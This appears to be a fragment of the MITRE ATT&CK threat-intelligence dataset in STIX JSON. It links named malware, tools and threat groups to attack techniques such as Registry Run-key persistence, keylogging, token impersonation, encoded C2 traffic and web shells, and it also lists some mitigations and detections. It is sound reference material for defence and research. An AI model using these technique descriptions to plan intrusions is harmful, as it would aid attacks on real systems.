2020)(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--284ffb1b-ad42-468e-9897-94c25024f0d4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. 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Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.587Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) achieves persistence by adding itself to the <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code> Registry key.(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ac39d41-f859-447e-947b-5da935d30894","type":"relationship","created":"2019-06-05T14:33:01.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2020-03-20T18:22:45.024Z","description":"[njRAT](https://attack.mitre.org/software/S0385) uses Base64 encoding for C2 traffic.(Citation: Fidelis njRAT June 2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9acea9fd-5c35-4956-b048-4e22dad5a044","type":"relationship","created":"2020-10-02T16:37:30.083Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-10-02T16:37:30.084Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4","target_ref":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19153106-5607-4cac-91a5-c2a900bc5343","type":"relationship","created":"2020-06-29T03:27:50.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"CISA ComRAT Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}],"modified":"2020-12-09T23:26:09.185Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has used a scheduled task to launch its PowerShell loader.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47987857-8c6b-40d2-a294-860b8a4dec58","type":"relationship","created":"2021-03-17T20:30:08.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Static Kitten February 2021","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-18T14:51:15.886Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used file sharing services including OneHub to distribute tools.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26339d57-98d9-4323-97e8-03642f82e245","type":"relationship","created":"2020-05-22T20:27:31.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2020-05-22T20:27:31.570Z","description":"[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to log keystrokes on the compromised host.(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"malware--a705b085-1eae-455e-8f4d-842483d814eb","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccb94ba8-3384-40cf-a810-ab4a2423c54d","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3f77039-014f-4786-b226-808167d75a96","type":"relationship","created":"2021-10-14T15:12:18.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T15:12:18.152Z","description":"[Octopus](https://attack.mitre.org/software/S0340) has relied upon users clicking on a malicious attachment delivered through spearphishing.(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35b912d8-bf46-4dec-b2eb-c48c0056af6e","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). 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Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can find a process owned by a specific user and impersonate the associated token.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-18T21:14:42.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cabf1a6-5ad3-4c5d-83e8-161d49e082ac","type":"relationship","created":"2020-05-19T20:39:12.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint RTF Injection","url":"https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread","description":"Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors . Retrieved December 9, 2021."},{"source_name":"TrendMicro Gamaredon April 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."},{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."},{"source_name":"CERT-EE Gamaredon January 2021","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. 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Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-10T15:59:09.461Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) uses commands such as <code>netsh interface show</code> to discover network interface settings.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--406fbbc1-408a-4f59-8f0c-0f670eb60879","type":"relationship","created":"2021-02-03T18:34:46.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. 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Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can use XOR 0x45 to decrypt obfuscated code.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T16:43:27.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16043223-3846-4138-93d0-671339ba3646","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). 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Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) is written and executed via PowerShell.(Citation: AADInternals Documentation)","modified":"2022-04-18T20:44:33.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ba71919-c776-4e1b-ad71-160649060d3e","type":"relationship","created":"2020-05-12T22:05:50.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. 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Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Configure SNMPv3 to use the highest level of security (authPriv) available.(Citation: US-CERT TA17-156A SNMP Abuse 2017)","modified":"2022-04-19T21:34:57.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c3e8b5e-1908-4a17-ba56-f8df99991cd9","type":"relationship","created":"2021-10-01T21:53:33.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. 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Retrieved October 14, 2019."}],"modified":"2020-06-08T17:03:53.050Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to steal written CD images and files of interest from previously connected removable drives when they become available again.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af766021-c066-416c-80ba-9687f5641457","type":"relationship","created":"2021-10-11T18:29:51.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. 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Retrieved September 22, 2021."}],"modified":"2021-10-11T18:29:51.359Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can search for different processes on a system.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a205b0ce-df00-40ae-b626-7dc3e8146d45","type":"relationship","created":"2020-03-02T18:49:28.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-09-27T17:57:28.632Z","description":"Determine if certain websites or attachment types (ex: .scr, .exe, .pif, .cpl, etc.) that can be used for phishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--109c7cc7-fec6-4d86-ae27-087cddb2670c","type":"relationship","created":"2019-07-19T16:38:05.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. 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Retrieved January 13, 2021."}],"modified":"2021-01-14T19:50:15.459Z","description":"(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8852f9e4-c2f1-4d24-8bc6-8539ec4180a5","type":"relationship","created":"2021-03-18T16:33:07.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA EB Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a","description":"Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. 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Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used a variety of open-source remote access Trojans for its operations.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T18:55:59.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbe5352c-7c4f-437c-a439-d212ba6d439b","type":"relationship","created":"2020-09-24T14:20:39.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. 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Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.791Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) used DameWare Mini Remote Control for lateral movement.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ded09cd6-73be-488d-8e3c-bff62324b21b","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for unexpected deletion of a cloud volume (ex: AWS delete-volume)","source_ref":"x-mitre-data-component--3acecdde-c327-4498-9bb8-33a2e63c6c57","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc187ed1-3987-4575-b1af-dc150e4329f8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatExpert Agent.btz","description":"Shevchenko, S.. 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(2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T14:26:05.003Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has the ability to deploy a reconnaissance module to retrieve a list of the active processes.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--feb29d58-b733-47a4-9d56-8d45b36f0978","created":"2022-03-30T14:26:51.857Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). 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Because this method may be used in conjunction with  [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file.\n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. 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Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.698Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used web shells for persistence or to ensure redundant access.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b418159-e33b-407e-9849-1ebeddaa4074","type":"relationship","created":"2021-11-29T20:31:03.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:31:03.583Z","description":"[Pandora](https://attack.mitre.org/software/S0664) has the ability to encrypt communications with D3DES.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6316bedb-6962-4da1-8714-08b414fa7c73","type":"relationship","created":"2022-03-24T22:31:32.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). 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Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.750Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can collect start time information from a compromised host.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08b93e63-6485-47fe-bc22-7d744fa700b9","type":"relationship","created":"2019-06-21T13:29:36.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-11T18:30:21.137Z","description":"Disable the WinRM service.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e0bef30-edc0-4a18-9033-a1f487e35b76","type":"relationship","created":"2021-12-29T15:08:44.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I and Delcher, P. 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Retrieved December 27, 2021."}],"modified":"2022-03-09T20:42:07.146Z","description":"[Tomiris](https://attack.mitre.org/software/S0671) can download files and execute them on a victim's system.(Citation: Kaspersky Tomiris Sep 2021)","relationship_type":"uses","source_ref":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--415fc129-cac9-4d8c-8285-8ea563489b03","type":"relationship","created":"2020-10-19T16:08:30.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-02-16T20:15:45.837Z","description":"Restrict administrator accounts to as few individuals as possible, following least privilege principles.  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Additionally, [APT32](https://attack.mitre.org/groups/G0050) has used a random value to modify the timestamp of the file storing the clientID.(Citation: FireEye APT32 May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: ESET OceanLotus macOS April 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dd15583-34cd-4b49-a6ba-4bd647b7ff27","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. 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Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has deleted Registry keys to clean up its prior activity.(Citation: Talos Bisonal Mar 2020) 